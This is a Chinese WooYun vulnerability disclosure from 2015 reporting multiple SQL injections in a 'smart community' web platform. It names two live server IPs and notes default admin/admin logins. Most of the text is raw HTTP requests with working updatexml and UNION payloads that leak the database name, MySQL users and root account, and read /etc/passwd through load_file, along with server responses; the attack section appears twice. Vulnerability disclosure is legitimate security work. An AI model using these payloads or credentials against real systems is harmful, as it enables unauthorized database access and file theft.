当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118847

漏洞标题：智慧社区多个站点多个sql注入打包

相关厂商：深圳协创互联科技有限公司

漏洞作者： xxlegend

提交时间：2015-06-10 08:19

修复时间：2015-07-27 19:46

公开时间：2015-07-27 19:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-10： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开

简要描述：

智慧社区多个站点多个sql注入打包

详细说明：

$str = array(
array(
"province" => "内蒙古自治区",
"city" => "鄂尔多斯",
"community" => "兴胜街道",
"server" => "http://182.92.11.190/"
),
array(
"province" => "山东省",
"city" => "济南",
"community" => "堤口路街道",
"server" => "http://182.92.233.188/"
)
);
后天弱口令都是admin/admin
1,注入1

POST http://182.92.233.188/index.php/Admin/addPeople?id=batch'+and+1=updatexml(1,concat(0x5e24,database(),0x5e24),1))+--+ HTTP/1.1


返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : SELECT * FROM `kona_people` WHERE (  id = 'batch' and 1=updatexml(1,concat(0x5e24,database(),0x5e24),1)) -- ' ) LIMIT 1


2，修改新闻处注射2，支持union

POST http://182.92.233.188/index.php/Admin/postNews?id=batch')+union+all+select+1,2,3,(select+load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100))),(select+substring(load_file('/etc/issue'),1,20)),6,7,8--++ HTTP/1.1


返回值：

zhihui-zhuru1.png


3，

POST http://182.92.233.188/index.php/Admin/postNotice?id=batch')+union+all+select+1,2,3,(select+load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100))),(select+substring(load_file('/etc/issue'),1,20)),6,7,8--++ HTTP/1.1


返回值：

zhihui-zhuru2.png


旗下站点：
http://182.92.233.188/
http://182.92.11.190/
登录弱口令:admin/admin
1,

GET http://182.92.233.188/index.php/Admin/delCommunity?communityId=100' and+ 1=updatexml(1,concat(0x5e24,user(),0x5e24),1))--+ HTTP/1.1


返回信息：

<h1>1105:XPATH syntax error: '^$root@localhost^$'
 [ SQL语句 ] : DELETE FROM `kona_community` WHERE ( id='100'and 1=updatexml(1,concat(0x5e24,user(),0x5e24),1))-- ' )</h1>


http://182.92.233.188/index.php/Admin/delCommunity?communityId=100'+and+1=updatexml(1,concat(0x5e24,(select+group_concat(user)+from+mysql.user),0x5e24),1))--+  HTTP/1.1


返回值：

1105:XPATH syntax error: '^$gyf,root,root,,root,,gyf,root^'
 [ SQL语句 ] : DELETE FROM `kona_community` WHERE ( id='100' and 1=updatexml(1,concat(0x5e24,(select group_concat(user) from mysql.user),0x5e24),1))-- ' )


2，request请求：
Delpeopel接口处sql注入：
POST http://182.92.233.188/index.php/Admin/delPeople?act=batch HTTP/1.1
Host: 182.92.233.188
Proxy-Connection: keep-alive
Content-Length: 66
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://182.92.233.188
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://182.92.233.188/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: PHPSESSID=kn7vnh0qhvi61kn7tnmvl0v1q1
ids=1000,11111,10000=updatexml(1,concat(0x5e24,database(),0x5e24),1)
返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : DELETE FROM `kona_people` WHERE ( id in (1000,11111,10000=updatexml(1,concat(0x5e24,database(),0x5e24),1)
) AND id != '1' )


3，

POST http://182.92.233.188/index.php/Admin/addPeople?id=batch'+and+1=updatexml(1,concat(0x5e24,database(),0x5e24),1))+--+ HTTP/1.1
Host: 182.92.233.188
Proxy-Connection: keep-alive
Content-Length: 13
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://182.92.233.188
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://182.92.233.188/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: PHPSESSID=kn7vnh0qhvi61kn7tnmvl0v1q1
realname=ss


返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : UPDATE `kona_people` SET `realname`='ss\r\n',`community_id`=11,`online_lock`='',`login_time`=0 WHERE (  id = 'batch' and 1=updatexml(1,concat(0x5e24,database(),0x5e24),1)) -- '  )


漏洞证明：

$str = array(
array(
"province" => "内蒙古自治区",
"city" => "鄂尔多斯",
"community" => "兴胜街道",
"server" => "http://182.92.11.190/"
),
array(
"province" => "山东省",
"city" => "济南",
"community" => "堤口路街道",
"server" => "http://182.92.233.188/"
)
);
后天弱口令都是admin/admin
1,注入1

POST http://182.92.233.188/index.php/Admin/addPeople?id=batch'+and+1=updatexml(1,concat(0x5e24,database(),0x5e24),1))+--+ HTTP/1.1


返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : SELECT * FROM `kona_people` WHERE (  id = 'batch' and 1=updatexml(1,concat(0x5e24,database(),0x5e24),1)) -- ' ) LIMIT 1


2，修改新闻处注射2，支持union

POST http://182.92.233.188/index.php/Admin/postNews?id=batch')+union+all+select+1,2,3,(select+load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100))),(select+substring(load_file('/etc/issue'),1,20)),6,7,8--++ HTTP/1.1


返回值：

zhihui-zhuru1.png


3，

POST http://182.92.233.188/index.php/Admin/postNotice?id=batch')+union+all+select+1,2,3,(select+load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100))),(select+substring(load_file('/etc/issue'),1,20)),6,7,8--++ HTTP/1.1


返回值：

zhihui-zhuru2.png


旗下站点：
http://182.92.233.188/
http://182.92.11.190/
登录弱口令:admin/admin
1,

GET http://182.92.233.188/index.php/Admin/delCommunity?communityId=100' and+ 1=updatexml(1,concat(0x5e24,user(),0x5e24),1))--+ HTTP/1.1


返回信息：

<h1>1105:XPATH syntax error: '^$root@localhost^$'
 [ SQL语句 ] : DELETE FROM `kona_community` WHERE ( id='100'and 1=updatexml(1,concat(0x5e24,user(),0x5e24),1))-- ' )</h1>


http://182.92.233.188/index.php/Admin/delCommunity?communityId=100'+and+1=updatexml(1,concat(0x5e24,(select+group_concat(user)+from+mysql.user),0x5e24),1))--+  HTTP/1.1


返回值：

1105:XPATH syntax error: '^$gyf,root,root,,root,,gyf,root^'
 [ SQL语句 ] : DELETE FROM `kona_community` WHERE ( id='100' and 1=updatexml(1,concat(0x5e24,(select group_concat(user) from mysql.user),0x5e24),1))-- ' )


2，request请求：
Delpeopel接口处sql注入：
POST http://182.92.233.188/index.php/Admin/delPeople?act=batch HTTP/1.1
Host: 182.92.233.188
Proxy-Connection: keep-alive
Content-Length: 66
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://182.92.233.188
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://182.92.233.188/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: PHPSESSID=kn7vnh0qhvi61kn7tnmvl0v1q1
ids=1000,11111,10000=updatexml(1,concat(0x5e24,database(),0x5e24),1)
返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : DELETE FROM `kona_people` WHERE ( id in (1000,11111,10000=updatexml(1,concat(0x5e24,database(),0x5e24),1)
) AND id != '1' )


3，

POST http://182.92.233.188/index.php/Admin/addPeople?id=batch'+and+1=updatexml(1,concat(0x5e24,database(),0x5e24),1))+--+ HTTP/1.1
Host: 182.92.233.188
Proxy-Connection: keep-alive
Content-Length: 13
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://182.92.233.188
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://182.92.233.188/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: PHPSESSID=kn7vnh0qhvi61kn7tnmvl0v1q1
realname=ss


返回值：

1105:XPATH syntax error: '^$kona_api^$'
 [ SQL语句 ] : UPDATE `kona_people` SET `realname`='ss\r\n',`community_id`=11,`online_lock`='',`login_time`=0 WHERE (  id = 'batch' and 1=updatexml(1,concat(0x5e24,database(),0x5e24),1)) -- '  )


修复方案：

加入sql过滤函数

版权声明：转载请注明来源 xxlegend@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-12 19:45

厂商回复：

CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无